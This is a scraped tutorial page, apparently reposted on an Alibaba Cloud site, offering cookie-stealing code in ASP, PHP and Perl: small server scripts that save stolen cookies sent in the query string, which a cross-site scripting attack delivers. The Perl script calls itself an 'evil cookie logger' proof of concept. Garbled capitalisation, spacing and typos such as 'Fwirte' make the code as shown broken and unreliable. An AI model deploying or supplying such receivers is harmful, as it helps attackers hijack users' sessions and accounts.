Cookie stealing code (asp, php, perl) _ PHP Tutorial

Source: Internet
Author: User
Cookie stealing code (asp, php, perl ). Asp%dimstrfilenamestrfilenamemydata.txt data file storage directory setlPserver. createObject (Adodb. Stream) lP. OpenlP. Type2lP. CharSetgb2312lP. writetextrequest. S ASP

<%
Dim strfilename
Strfilename = "mydata.txt" data file storage directory
Set lP = server. createObject ("Adodb. Stream ")
LP. Open
LP. Type = 2
LP. CharSet = "gb2312"
LP. writetext request. Servervariables ("QUERY_STRING ")
LP. SaveToFile server. mappath (strfilename), 2
LP. Close
Set lP = nothing
%>

PHP version
$ Info = getenv ("QUERY_STRING ");
If ($ info ){
$ Info = urldecode ($ info );
$ Fp = fopen ("info.txt", "");
Fwirte ($ fp, $ info ."");
Fclose ($ fp );
}
?>

PERL
#! /Usr/bin/perl
# Evil_cookie_logger.cgi
# Remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing
# Cross-site scripting vulnerabilities.

$ Borrowed_info = $ ENV {QUERY_STRING };
$ Borrowed_info = ~ S/% ([a-fA-F0-9] [a-fA-F0-9])/pack ("C", hex ($1)/eg;

Open (EVIL_COOKIE_LOG, "> evil_cookie_log") or print "Content-type:
Text/html something went wrong ";
Print EVIL_COOKIE_LOG "$ borrowed_info ";
Print "Content-type: text/html ";
Close (EVIL_COOKIE_LOG );

Setting % dim strfilename = "mydata.txt" data file storage directory set lP = server. createObject ("Adodb. stream ") lP. open lP. type = 2 lP. charSet = "gb2312" lP. writetext request. s...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.